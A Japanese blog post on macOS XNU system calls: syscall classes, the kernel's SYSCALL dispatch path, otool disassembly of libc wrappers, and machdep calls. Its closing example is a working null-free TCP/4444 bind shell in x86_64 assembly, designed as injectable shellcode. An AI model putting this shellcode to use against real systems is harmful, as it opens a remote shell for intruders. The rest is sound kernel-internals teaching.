macOSのシステムコールを詳しく見たかった


これは[macOS（XNU）Advent Calendar](https://adventar.org/calendars/4276) 初日の記事です
間違い等ありましたら, ご指摘お願い仕ります.  

# SYSCALL\_CLASS\_\*

macOSのカーネルであるXNUはハイブリッドカーネルであるため, 実際のカーネル部分（Mach）は, 必要最低限の機能しか提供しません（例えば, 仮想メモリやtaskのスケジューリング, IPC機能など）. 
このMachレイヤーの上に, FreeBSDの流れを汲んだコンポーネント[^10]などが搭載され, XNUが構成されています. 
macOSはUNIXであり, x86\_64 SYSV ABIに則った形でfork(2), read(2), open(2), socket(2)などといったシステムコールを用いて, ユーザモードからカーネルのAPIを用いることができます. 
しかしながら, これらUNIXシステムコールの他に, その下に位置するMachとインタラクトするシステムコールも存在し[^20], さらにはアーキテクチャ依存のもの（Machine dependent &rarr; Machdep）, そして診断目的（Diagnostic）のものまで用意されています. すなわち, XNUには4つのシステムコール・クラスが存在していることになります.  

ご存知の通り, x86\_64でシステムコールを使う（Ring-3からRing-0へ行く）際は, `SYSCALL`命令が唯一の（？）[^30]入り口であり, このCPU命令が発行されると, *%RCX*にユーザ空間の*%RIP*が, *%R11*に*%RFLAGS*が保存され, あらかじめ`WRMSR`命令で設定された, 0xC0000082番（IA32_LSTAR）のMSRに保存されているアドレスへジャンプします. 
これは, 上に挙げたどのクラスのシステムコールを試みても, `SYSCALL`でたどり着くアドレスは同じであること意味します. もちろん, システムコールの（おおまかな）目的が異なるのですから, 最終的にはそれぞれ違ったルーティンへと飛ばしてやらなければいけません. 
i386の時代は, ソフトウェア割り込み`INT`命令のオペランドに, それぞれ異なる値（0x80, 0x81, 0x82, 0x83）を入れてやればよかったのですが, オペランドをとらない`SYSCALL`では残念ながらそうもいきません.
XNUはこれを処理するため, それぞれのクラスに1から4までの番号を割り振っています. これはXNUのソースの[osfmk/mach/i386/syscall_sw.h](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/osfmk/mach/i386/syscall_sw.h#L147)で確認できます. 

```c
#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */	
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */
```

`NONE`と`IPC`は無視して構いません. `SYSCALL_CLASS_UNIX`を例にとりましょう. 
ユーザ空間からUNIXシステムコールを呼びたい場合, システムコール番号を格納する*%RAX*レジスタにはまず, `2 << 24` = `0x2000000`が入ります. この24という数値は, 同じファイルに定義された, `SYSCALL_CLASS_SHIFT`というマクロです. 
次に各システムコールの, 本来のシステムコール番号と*%RAX*を論理和に取ります. この番号はXNUソース内[bsd/kern/syscalls.master](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/kern/syscalls.master#L41)および, macOS内の`/path/to/MacOSX.sdk/usr/include/sys/syscall.h`にて確認できます [^35].  
例えば`write(2)`なら番号は`4`ですから, `SYSCALL`命令時の*%RAX*の値は`(0x2 << 24) | 4 = 0x2000004`になります. 
もちろんこんなまわくどいことをせずに, `MOVL $0x2000004, %EAX`としてもいいわけです. 
あとは他のUN\*Xシステムと同様に, *%RDI, %RSI, %RDX, %R10, %R8, %R9*レジスタに引数を入れて`SYSCALL`命令を発行することになります. 
ちなみに, Linuxはx86\_64システムコールの引数はレジスタ渡しで[6つまで](https://elixir.bootlin.com/linux/v5.4/source/include/asm-generic/syscall.h#L106)という決まりがありますが, macOSでは普通の関数呼び出しと同様に, スタックにもう2つ引数を取ることができます [^40]（#447 [connectx(2)](https://www.unix.com/man-page/mojave/2/connectx/)など）.  


# `SYSCALL`から先はどうなっているか

次に`SYSCALL`命令は, [`WRMSR`で指定](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/i386/mp_desc.c#L530)された, [hi64_syscall](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L387)に飛びます.
ここから`JMP`を繰り返し,  
`hi64_syscall` [&rarr;](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L427)
[`L_dispatch`](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L462) [&rarr;](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L87)
[`ks_dispatch`](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L561) [&rarr;](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L584)
[`ks_dispatch_user`](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L593) [&rarr;](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L602)
[`L_dispatch_64bit`](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L616) [&rarr;](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L660)
[`L_common_dispatch`](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L722) [&rarr;](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L786)
[`hndl_syscall`](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L1550)へと辿り着きます.  
また`L_dispatch_64bit`内では, ユーザ空間からレジスタを通して渡されたシステムコールの引数を含む汎用レジスタの値が, [`x86_saved_state_t`](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/osfmk/mach/i386/thread_status.h#L471)の形式に沿うようにスタックに積まれていき, その構造体にはメモリアドレス*(%R15)*を通してアクセスすることができます.    

ここで先程左シフトされていた`SYSCALL_CLASS_*`が`CMP`され, それぞれのクラスを司る関数シンボルへとジャンプすることになります. 

```
	/*
	 * We can be here either for a mach, unix machdep or diag syscall,
	 * as indicated by the syscall class:
	 */
	movl	R64_RAX(%r15), %eax		/* syscall number/class */
	movl	%eax, %edx
	andl	$(SYSCALL_CLASS_MASK), %edx	/* syscall class */
	cmpl	$(SYSCALL_CLASS_MACH<<SYSCALL_CLASS_SHIFT), %edx
	je	EXT(hndl_mach_scall64)
	cmpl	$(SYSCALL_CLASS_UNIX<<SYSCALL_CLASS_SHIFT), %edx
	je	EXT(hndl_unix_scall64)
	cmpl	$(SYSCALL_CLASS_MDEP<<SYSCALL_CLASS_SHIFT), %edx
	je	EXT(hndl_mdep_scall64)
	cmpl	$(SYSCALL_CLASS_DIAG<<SYSCALL_CLASS_SHIFT), %edx
	je	EXT(hndl_diag_scall64)
```

UNIXシステムコール（`SYSCALL_CLASS_UNIX`）の場合, `hndl_unix_scall64`へ次の制御が移ります. ここで, 関数[unix_syscall64](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/osfmk/x86_64/idt64.s#L1586)が引数*%R15*と共に呼び出され, ようやくアセンブリの世界から[*C*の世界](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/bsd/dev/i386/systemcalls.c#L268)へと抜け出します. 他のクラスも似たような処理を通じて, *C*で書かれたコードへ制御が移ります. 今回はここから先の処理については触れません.   


# ライブラリのラッパー関数を見る

ライブラリ内の実装を確認してみましょう. Command Line ToolsあるいはXcodeをインストールすると, 逆アセンブルコマンドの`otool`が使えるようになります. `/usr/lib/system/libsystem_kernel.dylib`から`write(2)`を探してみると,   

```shell
% otool -arch x86_64 -xvV /usr/lib/system/libsystem_kernel.dylib | grep "^_write:$" -A8
_write:
0000000000004050	movl	$0x2000004, %eax
0000000000004055	movq	%rcx, %r10
0000000000004058	syscall
000000000000405a	jae	0x4064
000000000000405c	movq	%rax, %rdi
000000000000405f	jmp	_cerror
0000000000004064	retq
_rename:
```

macOS 10.15でi386バイナリが実行できなくなりましたが, 相変わらず共有ライブラリ（dylib）はFatバイナリのままです. それはさておき, `0x4050`では先述のとおり, *%RAX*（または*%EAX*）レジスタに先程の論理和が`MOV`されています.  
余談ですが, `write(2)`は引数が3つで*%R10*レジスタは使われないのに, このラッパーライブラリ関数に渡された（とLibcが思い込んでいる）*%RCX*内の引数が*%R10*に`MOV`されています. 
基本的にApple Libcは, 引数の個数にかかわらず, "第4引数"の`MOV`を行うみたいです. 記憶が正しければ, Glibcは引数の個数4つ以上かを判定して, この`MOV`をしていた気がするのですが… [^50]

***閑話休題***

`SYSCALL_CLASS_MACH`の場合も同様です. 名の知れた（？）Mach trapの一つに, BSDレイヤーにおけるPIDに対応するtask portを返す, `task_for_pid`というものがあります. 同じく, `otool`で探してみると…  

```shell
% otool -arch x86_64 -xvV /usr/lib/system/libsystem_kernel.dylib | grep "^_task_for_pid:$" -A6
_task_for_pid:
00000000000012f8	movq	%rcx, %r10
00000000000012fb	movl	$0x100002d, %eax
0000000000001300	syscall
0000000000001302	retq
0000000000001303	nop
_pid_for_task:
```

*%EAX*レジスタに`(SYSCALL_CLASS_MACH << SYSCALL_CLASS_SHIFT) | 0x2d`が入っていることがわかるかと思います. 

# Machdep callについて

x86\_64 macOS 10.15.1では, 以下のシステムコール番号が有効となっています.    

|番号|システムコール名|
|---|-------------|
| 0 | `hv_task_trap`
| 1 | `hv_thread_trap`
| 3 | `_thread_set_tsd_base`
| 5 | `i386_set_ldt`
| 6 | `i386_get_ldt`

この内, 5と6はi386のdeprecationに伴って, i386用のmachdep callからポートされたものと考えられます. 正確な時期はわかりませんが, macOS 10.14.xまでは, 5と6の番号は割り当てられていませんでした.  
次は0と1に注目してください. `hv_*`とあるように, これらのシステムコールは, Hypervisor.frameworkに関するものです. Intel VT-xを利用するためには特権命令であるVMX命令を発行する必要がありますから, `SYSCALL`でプロテクションリングの内部へと入ることになります.  
詳しくは, 次回以降の記事にて覗いてみることにします. 興味のあるmacOSユーザの方は, `otool`で`/System/Library/Frameworks/Hypervisor.framework/Hypervisor`を逆アセンブルして, `SYSCALL`命令発行の周辺で何が起きているかをご覧になってみてください. 

# `SYSCALL`の使い方の例

プログラム例を挙げるのを忘れていました. すみません. 

## `CPUID`のベンダ表示

```cpuid.s
// clang -o cpuid cpuid.s 
.section __TEXT,__text
.globl _main
_main:
  xorl %eax, %eax
  cpuid
  leaq output(%rip), %rsi
  movl %ebx, 12(%rsi)   // 0x756e6547 == "Genu"
  movl %edx, 16(%rsi)   // 0x49656e69 == "ineI"
  movl %ecx, 20(%rsi)   // 0x6c65746e == "ntel"
  movb $2, %al          // SYSCALL_CLASS_UNIX
  shll $24, %eax        // SYSCALL_CLASS_SHIFT
  orl $4, %eax          // SYS_write
  xorl %edi, %edi
  movb $1, %dil         // STDOUT_FILENO
  xorl %edx, %edx
  movb $26, %dl         // buffer size to write
  syscall

  movb $2, %al          // SYSCALL_CLASS_UNIX
  shll $24, %eax        // SYSCALL_CLASS_SHIFT
  orl $1, %eax          // SYS_exit
  xorl %edi, %edi       // EXIT_SUCCESS
  syscall

.section __DATA,__data
output:
  .ascii "Vendor ID: 'xxxxxxxxxxxx'\n"
```

## TCP bind shell

`MOVL $0x2000004, %EAX`のように明示的に即値を代入してしまうと, shellcodeには*0x00*が含まれてしまうため, fgets(3)などでペイロードを流し込む際にそこで入力が終了するとみなされてしまいます.
これを避けるために, `SETUP_RAX`というマクロを用いています.

```bindshell.s
/*
 * Null-free TCP/4444 bind shell for macOS in 168 bytes.
 * 
 * % uname -v
 * Darwin Kernel Version 19.0.0: Thu Oct 17 16:17:15 PDT 2019; root:xnu-6153.41.3~29/RELEASE_X86_64
 * % sw_vers
 * ProductName:	Mac OS X
 * ProductVersion:	10.15.1
 * BuildVersion:	19B88
 * % clang -o bindshell bindshell.s
 * % ./bindshell & ; nc 127.0.0.1 4444
 */
#include <sys/syscall.h>

#define STACKSZ 64
#define BINSH 0x68732f2f6e69622f
#define SETUP_RAX(n) \
  xorl %eax, %eax ; \
  movb $2, %al ; \
  shll $24, %eax ; \
  orl $(n), %eax

.section __TEXT,__text
.globl _main
_main:
/*
  pushq %rbp
  movq %rsp, %rbp
  subq $(STACKSZ), %rsp
*/

  /* addr @ -16(%rbp) */
  movb $2, -15(%rbp)
  movw $0x5c11, -14(%rbp)   // htons(4444)
  xorl %eax, %eax
  movl %eax, -12(%rbp)
  
  /* socket(AF_INET, SOCK_STREAM, 0); */
  xorl %edx, %edx
  movl %edx, %esi
  movl %edx, %edi
  movb $1, %sil
  movb $2, %dil
  SETUP_RAX(SYS_socket)
  syscall
  movl %eax, -20(%rbp)      // sockfd

  /* bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); */
  xorl %edx, %edx
  movb $16, %dl
  leaq -16(%rbp), %rsi
  movl -20(%rbp), %edi
  SETUP_RAX(SYS_bind)
  syscall

  /* listen(sockfd, 0); */
  xorl %esi, %esi
  movl -20(%rbp), %edi
  SETUP_RAX(SYS_listen)
  syscall

  /* accept(sockfd, NULL, NULL); */
  xorl %edx, %edx
  xorl %esi, %esi
  movl %esi, -28(%rbp)      // (int i) for later use
  movl -20(%rbp), %edi
  SETUP_RAX(SYS_accept)
  syscall
  // movl %eax, -24(%rbp)      // connfd

  /* dup2(connfd, 0); dup2(connfd, 1); dup2(connfd, 2); */
  xorl %esi, %esi
  movl %eax, %edi
L0:
  SETUP_RAX(SYS_dup2)
  syscall
  incb %sil
  cmp $3, %sil
  jl L0

  /* execve("/bin/sh", NULL, NULL); */
  xorl %eax, %eax
  movl %eax, -32(%rbp)

  movabsq $(BINSH), %rax
  movq %rax, -40(%rbp)

  xorl %edx, %edx
  xorl %esi, %esi
  leaq -40(%rbp), %rdi
  SETUP_RAX(SYS_execve)
  syscall
  /* The code doesn't reach here */
```

# 参考文献

Levin, J. (2013). Mac OS X and iOS Internals. John Wiley & Sons, pp.266-284. [online] Available at: [http://newosxbook.com/MOXiI.pdf](http://newosxbook.com/MOXiI.pdf)



[^10]: derived from FreeBSDみたいなことが言いたかった
[^20]: しばしばMach trapと呼ばれ区別される
[^30]: ちょっと自信ない
[^35]: Catalinaの場合. Mojaveまでは, 場合により`/usr/include/sys/syscall.h`が存在している
[^40]: なお8引数だとindirect syscallは[使えない模様](https://github.com/apple/darwin-xnu/blob/a449c6a3b8014d9406c2ddbdc81795da24aa7443/bsd/dev/i386/systemcalls.c#L331)（deprecatedだからしょうがない）
[^50]: 1命令で実行時間に大した影響があるわけではないんでしょうけど